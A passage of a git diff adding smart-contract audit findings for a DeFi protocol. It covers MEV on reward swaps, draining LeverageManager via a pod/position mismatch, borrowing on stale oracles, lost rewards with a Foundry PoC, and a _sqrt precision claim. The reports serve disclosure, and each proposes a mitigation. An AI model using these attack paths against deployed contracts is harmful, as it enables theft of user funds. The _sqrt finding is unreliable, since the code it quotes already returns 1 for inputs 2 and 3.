+4. We would execute the swap, with 0 out as the bellow if will set it to 0, when `_amountIn == REWARDS_SWAP_OVERRIDE_MIN `
+
+```solidity
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ _amountIn == REWARDS_SWAP_OVERRIDE_MIN
+ ? 0
+ : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+ address(this)
+ ) {
+```
+
+Meaning that a user would just need to:
+1. swap and change the price
+2. call `depositFromPairedLpToken`
+3. Swap back to the original price
+
+Thus every time we enter the catch and set `_rewardsSwapAmountInOverride` to `REWARDS_SWAP_OVERRIDE_MIN` this vulnerability becomes exploitable.
+
+Note that this may be more profitable on expensive chains like ETH, as there the `REWARDS_SWAP_OVERRIDE_MIN` will be a bigger value, as each swap would cost somewhere between 5 and 20 USD in eth, so `REWARDS_SWAP_OVERRIDE_MIN` of 100 USD in token value would be reasonable.
+
+### Impact
+
+Users can MEV the system.
+MEV bots can exploit swaps to extract value.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Don't have 0 as out, consider still applying some percentage of in as out
\ No newline at end of file
diff --git a/086.md b/086.md
new file mode 100644
index 0000000..292c0d3
--- /dev/null
+++ b/086.md
@@ -0,0 +1,49 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Tokens will be stuck in `AutoCompoundingPodLp` if the intermediary swap token is not a reward token
+
+### Summary
+
+Tokens will be stuck in `AutoCompoundingPodLp` if the intermediary swap token is not a reward token
+
+### Root Cause
+
+Upon swapping between tokens when processing rewards in `AutoCompoundingPodLp`, we call `_swapV2()` where we either go through a direct swap or a multi hop swap where we have this code:
+```solidity
+if (maxSwap[_path[1]] > 0 && _intermediateBal > maxSwap[_path[1]]) {
+ _intermediateBal = maxSwap[_path[1]];
+}
+IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+_amountOut = DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+```
+We swap between the second and third token in the `_path` array. The issue is that if we have set a max swap for the in token and we cap that amount, then the rest of the tokens will be stuck in the contract forever if the token is not a reward token.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. We go through a swap such as `X -> Y -> Z` where `X` is a reward token and `Z` is the paired LP token we want to swap to, `Y` is an intermediate token for the swap as there is not a direct pool between `X` and `Z`
+2. `Y` has a max swap amount of 100 tokens and it is not a reward token
+3. We swap from `X` to `Y` and receive 150 `Y` tokens
+4. We cap the `Y` tokens to swap at 100 and swap them for `Z` tokens
+5. The 50 `Y` tokens are left stuck forever due to the cap, there is no way to take them out as it is not a reward token
+
+### Impact
+
+Stuck funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+If the intermediate token is not a reward token, increment a value for that tokens of the tokens that are over the cap and implement a rescue function for them
\ No newline at end of file
diff --git a/087.md b/087.md
new file mode 100644
index 0000000..0a6db1d
--- /dev/null
+++ b/087.md
@@ -0,0 +1,113 @@
+Fast Khaki Raccoon
+
+High
+
+# Users can drain `LeverageManager`
+
+### Summary
+
+Users can drain `LeverageManager` due to `addLeverage` not verifying if our pod is of the same kind as out positionId.
+
+### Root Cause
+
+`_addLeveragePreCallback` not checking if the `_pod` is the pod we deposited tokens from
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L81
+```solidity
+ function addLeverage(...) external override workflow(true) {
+ uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+
+ // trasfer the shares here
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _pTknAmt);
+
+ _addLeveragePreCallback(
+ _msgSender(),
+ _positionId,
+ _pod,
+ IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,
+ _pairedLpDesired,
+ _userProvidedDebtAmt,
+ _hasSelfLendingPairPod,
+ _config
+ );
+ }
+
+
+ function _addLeveragePreCallback(...) internal {
+ if (_positionId == 0) {
+ _positionId = _initializePosition(_pod, _sender, address(0), _hasSelfLendingPairPod);
+ } else {
+ address _owner = positionNFT.ownerOf(_positionId);
+ require(
+ _owner == _sender || positionNFT.getApproved(_positionId) == _sender
+ || positionNFT.isApprovedForAll(_owner, _sender),
+ "A3"
+ );
+
+ _pod = positionProps[_positionId].pod;
+ }
+```
+
+Allowing us to:
+1. `safeTransferFrom` from pod1 some cheap tokens with high amount
+2. Set `_positionId` as an expensive pod with high value tokens
+3. The the actual pod will be set from out expensive pod `_positionId`
+
+```solidity
+ _pod = positionProps[_positionId].pod;
+```
+4. But the amount will be from the cheap pod, with high value
+
+### Internal Pre-conditions
+
+`LeverageManager` to hold any funds
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls `addLeverage` with a cheap pod and a high `_pTknAmt`, while using an expensive pod `_positionId`
+2. `addLeverage` transfers the assets and calls `_addLeveragePreCallback` with the cheap pod token amount - `IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,`
+
+```solidity
+ _addLeveragePreCallback(
+ _msgSender(),
+ _positionId,
+ _pod,
+ IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,
+ _pairedLpDesired,
+ _userProvidedDebtAmt,
+ _hasSelfLendingPairPod,
+ _config
+ );
+```
+3. `_addLeveragePreCallback` verifies if we are the owner of the expensive pod positionId
+
+```solidity
+ address _owner = positionNFT.ownerOf(_positionId);
+ require(
+ _owner == _sender || positionNFT.getApproved(_positionId) == _sender
+ || positionNFT.isApprovedForAll(_owner, _sender),
+ "A3"
+ );
+```
+4. Sets the actual pod address to the positionId pod
+
+```solidity
+ _pod = positionProps[_positionId].pod;
+```
+5. We have officially set the expensive pod with a high amount of tokens, which we didn't deposit, we deposited the cheap low value one
+
+### Impact
+
+Users being able to drain any and all assets from `LeverageManager`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Verify if the positionId matches the pod tokens.
\ No newline at end of file
diff --git a/088.md b/088.md
new file mode 100644
index 0000000..db3bc29
--- /dev/null
+++ b/088.md
@@ -0,0 +1,120 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Even if oracles are marked as "bad" borrowing will still be possible
+
+### Summary
+
+Even if oracles are marked as "bad" borrowing will still be possible, due to both `highExchangeRate` and `lowExchangeRate` being the same, and passing the bellow check as `_deviation` would be 0
+
+```solidity
+ uint256 _deviation = (
+ DEVIATION_PRECISION * (_exchangeRateInfo.highExchangeRate - _exchangeRateInfo.lowExchangeRate)
+ ) / _exchangeRateInfo.highExchangeRate;
+
+ if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+```
+
+### Root Cause
+
+When bad data is returned both `_priceLow` and `_priceHigh` are set to the same price one
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150
+```solidity
+ function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) {
+ address[] memory _pools = new address[](1);
+ _pools[0] = UNI_V3_PAIR_ADDRESS;
+ uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod(
+ ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION
+ );
+ uint256 _price2;
+ (_isBadData, _price2) = _getChainlinkPrice();
+
+ // If bad data return price1 for both, else set high to higher price and low to lower price
+ _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2;
+ _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2;
+ }
+```
+
+This can be if one of the oracles reports late:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L106-L127
+```solidity
+ if (CHAINLINK_MULTIPLY_ADDRESS != address(0)) {
+ (, int256 _answer,, uint256 _updatedAt,) =
+ AggregatorV3Interface(CHAINLINK_MULTIPLY_ADDRESS).latestRoundData();
+
+ // If data is stale or negative, set bad data to true and return
+ if (_answer <= 0 || (block.timestamp - _updatedAt > maxOracleDelay)) {
+ _isBadData = true;
+ return (_isBadData, _price);
+ }
+ _price = _price * uint256(_answer);
+ }
+
+ if (CHAINLINK_DIVIDE_ADDRESS != address(0)) {
+ (, int256 _answer,, uint256 _updatedAt,) = AggregatorV3Interface(CHAINLINK_DIVIDE_ADDRESS).latestRoundData();
+
+ // If data is stale or negative, set bad data to true and return
+ if (_answer <= 0 || (block.timestamp - _updatedAt > maxOracleDelay)) {
+ _isBadData = true;
+ return (_isBadData, _price);
+ }
+ _price = _price / uint256(_answer);
+ }
+```
+
+Where since both `highExchangeRate` and `lowExchangeRate` are gonna be the same - TWAP there won't be any deviation, meaning borrowing is allowed:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L552-L557
+```solidity
+ uint256 _deviation = (
+ DEVIATION_PRECISION * (_exchangeRateInfo.highExchangeRate - _exchangeRateInfo.lowExchangeRate)
+ ) / _exchangeRateInfo.highExchangeRate;
+
+ if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+The system will not work in general and the attack can happen without the intention or knowledge on the side of the borrower
+
+1. Price decreases by 20% in the span of 3min due to a sudden crash/hack/etc...
+2. Chainlink is stopped for some reason - happened in the luna crash or with any rugged/hacked tokens when their prices drop 90% or more
+3. User borrows against that token
+4. TWAP is set to 20min, so price is barely impacted
+5. This causes bad debt or insolvency
+
+### Impact
+
+Borrowing is allowed when it shouldn't be as there is no available comparison to calculate `_deviation`.
+Even worse, a there is a "bad" oracle it may mean that the price is unstable and or rapidly decreasing, making the TWAP dangerous in this scenario as if the price drops 20% in 5 min (pretty common in crypto) a TWAP of 10min would record a slight drop and a one with 20 or 30min will be barely impacted.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow liquidations and repayments, but make sure to disable borrowing when the oracle is bad.
+
+
+```diff
+- if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
++ if (_deviation > 0 && _deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+```
\ No newline at end of file
diff --git a/089.md b/089.md
new file mode 100644
index 0000000..ecaf1dc
--- /dev/null
+++ b/089.md
@@ -0,0 +1,192 @@
+Lone Wintergreen Rattlesnake
+
+High
+
+# Permanent Reward Loss Due to Asymmetric Excluded Amount Updates in Pause States
+
+### Summary
+
+A critical vulnerability has been identified in the [TokenRewards contract's reward distribution logic](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L20). The issue affects the handling of excluded rewards for paused tokens during share modifications, potentially leading to permanent loss of rewards for users.
+The vulnerability stems from an inconsistency in how paused tokens are handled between two key functions:
+In _resetExcluded:
+```solidity
+function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+}
+```
+In _distributeReward:
+```solidity
+function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+ // ... reward distribution logic
+ }
+}
+```
+The vulnerability arises from an inconsistency in how excluded rewards are handled between paused and active tokens during share modifications. When tokens are paused:
+[_resetExcluded](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L258-L263) updates excluded amounts for ALL tokens during share changes, including paused tokens
+[_distributeReward](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L236-L256) skips updating excluded amounts for paused tokens during reward distribution
+This asymmetry leads to artificially inflated excluded amounts for paused tokens
+
+### Root Cause
+
+_resetExcluded updates excluded rewards for ALL tokens, including paused ones
+_distributeReward skips paused tokens
+When calculating unpaid rewards:
+```solidity
+function getUnpaid(address _token, address _wallet) public view returns (uint256) {
+ uint256 earnedRewards = _cumulativeRewards(_token, shares[_wallet], false);
+ uint256 rewardsExcluded = rewards[_token][_wallet].excluded;
+ if (earnedRewards <= rewardsExcluded) {
+ return 0;
+ }
+ return earnedRewards - rewardsExcluded;
+}
+```
+The excluded amount will always be greater than or equal to earned rewards due to rounding up in _resetExcluded, resulting in zero rewards.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users permanently lose rewards that accumulated while tokens were paused.
+Could result in significant financial losses depending on:
+- Duration of token pause
+- Amount of rewards accumulated
+- Frequency of share modifications
+
+### PoC
+
+Update the MockRewardWhiteliste.sol contract to correctly mimick the contract:
+```solidity
+contract MockRewardsWhitelister {
+ bool private _paused;
+ mapping(address => bool) private _whitelist;
+ mapping(address => bool) private _isPaused;
+
+ function whitelist(address token) public view returns (bool) {
+ return _whitelist[token];
+ }
+
+ function setWhitelist(address token, bool status) public {
+ _whitelist[token] = status;
+ }
+
+ function paused(address _token) public view returns (bool) {
+ return _isPaused[_token];
+ }
+
+ function setTokenPaused(address _token, bool __isPaused) public {
+ _isPaused[_token] = __isPaused;
+ }
+
+ function setPaused(bool paused_) public {
+ _paused = paused_;
+ }
+}
+```
+run test: `forge test --match-contract TokenRewardsTest --match-test testPausedTokenExcludedRewardsDiscrepancy -vvv --fork-url ""`
+
+POC:
+```solidity
+ function testPausedTokenExcludedRewardsDiscrepancy() public {
+ // Setup
+ rewardsWhitelister.setWhitelist(address(rewardsToken), true);
+ rewardsWhitelister.setWhitelist(address(secondaryRewardToken), true);
+
+ vm.startPrank(address(trackingToken));
+ tokenRewards.setShares(user1, 100e18, false);
+ vm.stopPrank();
+
+ uint256 depositAmount = 100e18;
+ tokenRewards.depositRewards(address(secondaryRewardToken), depositAmount);
+
+ // Record initial unpaid rewards
+ uint256 initialUnpaid = tokenRewards.getUnpaid(address(secondaryRewardToken), user1);
+ assertEq(initialUnpaid, depositAmount, "Initial unpaid rewards should match deposit amount");
+
+ rewardsWhitelister.setTokenPaused(address(secondaryRewardToken), true);
+
+ tokenRewards.depositRewards(address(secondaryRewardToken), depositAmount);
+
+ uint256 unpaidAfterSecondDepositRewards = tokenRewards.getUnpaid(address(secondaryRewardToken), user1);
+ assertEq(unpaidAfterSecondDepositRewards, depositAmount * 2, "Unpaid rewards should not change while token is paused");
+
+ // get user 1 balance of secondary token
+ uint256 user1Balance = secondaryRewardToken.balanceOf(user1);
+ assertEq(user1Balance, 0, "User 1 balance of secondary token should be 0");
+
+ vm.startPrank(address(trackingToken));
+ tokenRewards.setShares(user1, 150e18, false); // Increase shares
+ vm.stopPrank();
+
+ uint256 user1BalanceAfterSetShareAndTokenPause = secondaryRewardToken.balanceOf(user1);
+ // This shows user 1 did not receive any rewards because token is paused
+ assertEq(user1BalanceAfterSetShareAndTokenPause, 0, "User 1 balance of secondary token should be 0");
+
+ initialUnpaid = tokenRewards.getUnpaid(address(secondaryRewardToken), user1);
+ // This assertion should fail because _resetExcluded updated the excluded amount
+ // while the token was paused, but _distributeReward skipped it
+ assertEq(initialUnpaid, 0, "Should have unpaid rewards after set share");
+
+ // token deposit
+ tokenRewards.depositRewards(address(secondaryRewardToken), depositAmount);
+ uint256 balanceOfTokenReward = secondaryRewardToken.balanceOf(address(tokenRewards));
+ assertEq(balanceOfTokenReward, depositAmount * 3, "Token reward balance should be 0");
+
+ rewardsWhitelister.setTokenPaused(address(secondaryRewardToken), false);
+
+ uint256 finalUnpaid = tokenRewards.getUnpaid(address(secondaryRewardToken), user1);
+ // This assertion should fail because _resetExcluded updated the excluded amount
+ // while the token was paused, but _distributeReward skipped it
+ assertGt(balanceOfTokenReward, finalUnpaid, "Should have unpaid rewards after unpausing");
+ }
+```
+
+Result
+```solidity
+[⠊] Compiling...
+[⠢] Compiling 1 files with Solc 0.8.28
+[⠆] Solc 0.8.28 finished in 1.08s
+Compiler run successful!
+
+Ran 1 test for test/TokenRewards.t.sol:TokenRewardsTest
+[PASS] testPausedTokenExcludedRewardsDiscrepancy() (gas: 397500)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.57s (6.04ms CPU time)
+
+Ran 1 test suite in 16.96s (16.57s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+### Mitigation
+
+Modify _resetExcluded to skip paused tokens:
+```solidity
+function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+}
+```
\ No newline at end of file
diff --git a/092.md b/092.md
new file mode 100644
index 0000000..65c7802
--- /dev/null
+++ b/092.md
@@ -0,0 +1,49 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Pre-Swap Fee Mechanism Causes Forced Price Impact, Leading to Potential DoS on DEX Sell Orders
+
+### Summary
+
+In the [_update function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L159-L182), when a user sells tokens on the DEX, the contract has the potential to first swaps up to 1% of the liquidity pool (LP) balance before processing the trade. This swap is triggered inside [_processPreSwapFeesAndSwap()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L185-L212), which [sells tokens](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L232) from the contract’s balance into the LP, impacting the token’s market price.
+
+This forced swap mechanism artificially reduces the price before the user’s sell order is executed, resulting in:
+- Increased slippage and worse execution prices for traders.
+- Potential Denial-of-Service (DoS) for large sell orders.
+- MEV exploitation.
+
+
+Trade Classification & Swap Trigger:
+If [_to == V2_POOL](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L165), the function recognizes a sell order.
+The [_processPreSwapFeesAndSwap()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L185) function is called before executing the user’s trade.
+
+Forced Pre-Swap Calculation
+- The contract calculates a max swap amount as 1% of the LP balance:
+```solidity
+uint256 _lpBal = balanceOf(V2_POOL);
+uint256 _min = block.chainid == 1 ? _lpBal / 1000 : _lpBal / 4000; // 0.1% or 0.025% LP
+uint256 _max = _lpBal / 100; // 1% LP balance
+```
+
+If the contract balance exceeds [_max](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L203), it swaps _max before executing the user’s trade.
+The forced swap reduces the LP’s reserves, causing a drop in price before the user’s trade.
+
+### Root Cause
+
+The root cause of the issue is the design choice to use 1% of the LP balance as the max swap amount in `_processPreSwapFeesAndSwap()` impacts traders that performs sell order on DEX
+
+### Impact
+
+The automatic swap of up to 1% of pool liquidity creates significant price impact causes:
+- Increased slippage and worse execution prices for traders.
+- Potential Denial-of-Service (DoS) for large sell orders.
+- MEV exploitation.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Reduce Maximum Swap Size from 1%
\ No newline at end of file
diff --git a/093.md b/093.md
new file mode 100644
index 0000000..bdc0ac8
--- /dev/null
+++ b/093.md
@@ -0,0 +1,77 @@
+Micro Ash Caterpillar
+
+Medium
+
+# The user needs to pay the debondfee twice.
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+`PodUnwrapLocker` contract allows users to debond from pods fee free after a time-lock period.
+If the user chooses to withdraw early, a debondFee + 10% fee will[ be charged](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L126).
+
+However, the debond fee has already been deducted when [unwraps](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L76) a user out of a pod
+
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+ uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+```
+As the above code,if the user is not the last one out, the `_amountAfterFee = (_amount * (DEN - _fees.debond)) / DEN`.
+
+Therefore, [_receivedAmounts](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L80) has deducted the `debondFee`,but in the `earlyWithdraw` function, the user pays the [debondFee again](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L126C17-L126C60).
+
+As a result, users are charged excessive fees, resulting in losses for the users.
+
+
+
+
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+1.Alice [wrap](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L135) TKN and mints new pTKN
+
+2.Bob wrap TKN and mints new pTKN
+
+3.Bob debond for a pod and [creates a lock](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L60)
+
+
+4.Bob chooses to withdraw early
+
+### Attack Path
+
+1.Alice [wrap](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L135) TKN and mints new pTKN
+
+2.Bob wrap TKN and mints new pTKN
+
+3.Bob [creates a lock](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L60) and [debond ](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L76)for a pod
+Since Bob is not the[ last one out](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L178), debond fee will be charged
+
+
+4.Bob chooses to [withdraw early](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L107)
+Bob pays the [debondFee](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L126) again
+
+As a result, user(Bob) are charged excessive fees, resulting in losses for Bob.
+
+### Impact
+
+1.Users are charged excessive fees, resulting in losses for the users.
+2.Even if user(bob) chooses to [withdraw after unlocking](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L107), the debond will [not be free](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L178)
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider recalculating penalty fee
\ No newline at end of file
diff --git a/094.md b/094.md
new file mode 100644
index 0000000..6a02f5c
--- /dev/null
+++ b/094.md
@@ -0,0 +1,53 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Pod creators can make unverified indexes publicly visible in UI without protocol verification
+
+### Summary
+
+The missing verification check in [IndexManager.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/IndexManager.sol#L9) will cause potential user exposure to unsafe or malicious pods as creators can make their [unverified](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/interfaces/IIndexManager.sol#L10) indexes visible in the UI without protocol team validation.
+```solidity
+struct IIndexAndStatus {
+ address index; // aka pod
+ address creator;
+--> bool verified; // whether it's a safe pod as confirmed by the protocol team
+ bool selfLending; // if it's an LVF pod, whether it's self-lending or not
+ bool makePublic; // whether it should show in the UI or not
+ }
+```
+
+### Root Cause
+
+In [IndexManager.sol:updateMakePublic()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/IndexManager.sol#L94) there is a missing check to verify that an index has been verified by the protocol team before allowing it to be made public in the UI. The function only checks that the caller is either the owner, authorized, or the creator, but does not enforce that `verified = true` before allowing `makePublic = true`.
+
+
+### Internal Pre-conditions
+
+1. A pod creator needs to deploy a new index through `deployNewIndex()` to create an unverified index
+2. The index's verified status needs to be false
+3. The index's `makePublic` status needs to be false
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Malicious actor creates a new index through [deployNewIndex()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/IndexManager.sol#L30-L38) which starts as unverified
+2. The actor calls [updateMakePublic(index, true)](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/IndexManager.sol#L94-L99) on their unverified index
+3. The index becomes visible in the UI despite not being verified by the protocol team
+4. Users may interact with an unsafe or malicious index thinking it has been vetted
+
+### Impact
+
+Users of the protocol suffer potential exposure to unverified and potentially malicious indexes that appear in the UI without protocol validation.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a verification check in the updateMakePublic function
\ No newline at end of file
diff --git a/095.md b/095.md
new file mode 100644
index 0000000..9e45c6a
--- /dev/null
+++ b/095.md
@@ -0,0 +1,87 @@
+Daring Mustard Crab
+
+Medium
+
+# Incorrect Output and Gas Inefficiency in _sqrt Function
+
+### Summary
+The `_sqrt` function incorrectly returns `0` for `y = 2` and `y = 3`, causing precision issues. Additionally, the function is inefficient in terms of gas consumption, performing unnecessary iterations and divisions.
+
+Severity: Medium
+Impact: Medium
+Likelihood: Low to Medium
+
+### Affected Line Of Code:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L397-L408
+
+The affected line of code is:
+
+```solidity
+else if (y != 0) {
+ z = 1;
+}
+```
+**Issue Explanation:**
+This logic fails to correctly handle cases where `y = 2` or `y = 3`. The function should return `1` for these values, but instead, it results in `0` due to the missing explicit check.
+
+The gas inefficiency stems from redundant iterations in the loop:
+```solidity
+while (x < z) {
+ z = x;
+ x = (y / x + x) / 2;
+}
+```
+The calculation inside the loop could be optimized to reduce unnecessary divisions and improve efficiency.
+
+### Finding Description
+The `_sqrt` function is designed to calculate the square root of a given number `y` using the Babylonian method. However, the function does not return the correct result for small values of `y`, specifically when `y = 2` and `y = 3`. It also wastes gas by performing unnecessary iterations.
+
+### Security Guarantees Broken:
+- **Precision:** The function's incorrect handling of small values breaks the expected output, leading to invalid results.
+- **Gas Efficiency:** The function performs more iterations than necessary, leading to excess gas consumption, which can be particularly problematic when used in high-frequency calculations or on-chain environments with gas limits.
+-
+This issue does not automatically trigger a vulnerability but could propagate through the system if the function is called in critical operations, such as financial calculations. Malicious or unintended inputs may result in incorrect results, leading to invalid computations.
+
+### Impact Explanation
+The impact of this issue is classified as **Medium** for the following reasons:
+
+- **Incorrect Output:** For `y = 2` and `y = 3`, the function incorrectly returns `0`, which could break logic relying on precise square root calculations (e.g., pricing mechanisms, financial computations).
+- **Gas Wastage:** The inefficiencies in the algorithm lead to increased gas costs. Although this is not a direct security risk, it could result in unnecessary expense, especially in high-frequency usage.
+
+### Likelihood Explanation
+The likelihood of this issue occurring depends on the contract's use cases:
+
+- If the _sqrt function is frequently called with values 2 or 3, or used in high-frequency loops, it becomes more likely to cause unwanted behavior (incorrect results) or increased gas costs.
+- This issue is not triggered by every call but is more likely in contexts where square root calculations are critical, such as in financial applications.
+
+### Proof of Concept(POC)
+**Input:**
+
+```solidity
+uint256 result = _sqrt(2); // Expected output: 1, actual output: 0
+```
+**Demonstration:**
+When `y = 2`, the function incorrectly returns `0` instead of `1`.
+
+### Recommendation
+The issue can be fixed by ensuring that small values of y are handled properly and optimizing the gas usage of the algorithm.
+
+**Fix:**
+```solidity
+function _sqrt(uint256 y) private pure returns (uint256 z) {
+ if (y > 3) {
+ z = y;
+ uint256 x = y / 2;
+ while (x < z) {
+ z = x;
+ x = (y / x + x) >> 1; // Optimized division for gas efficiency
+ }
+ } else {
+ z = (y == 0) ? 0 : 1; // Ensure correct output for y = 2, 3
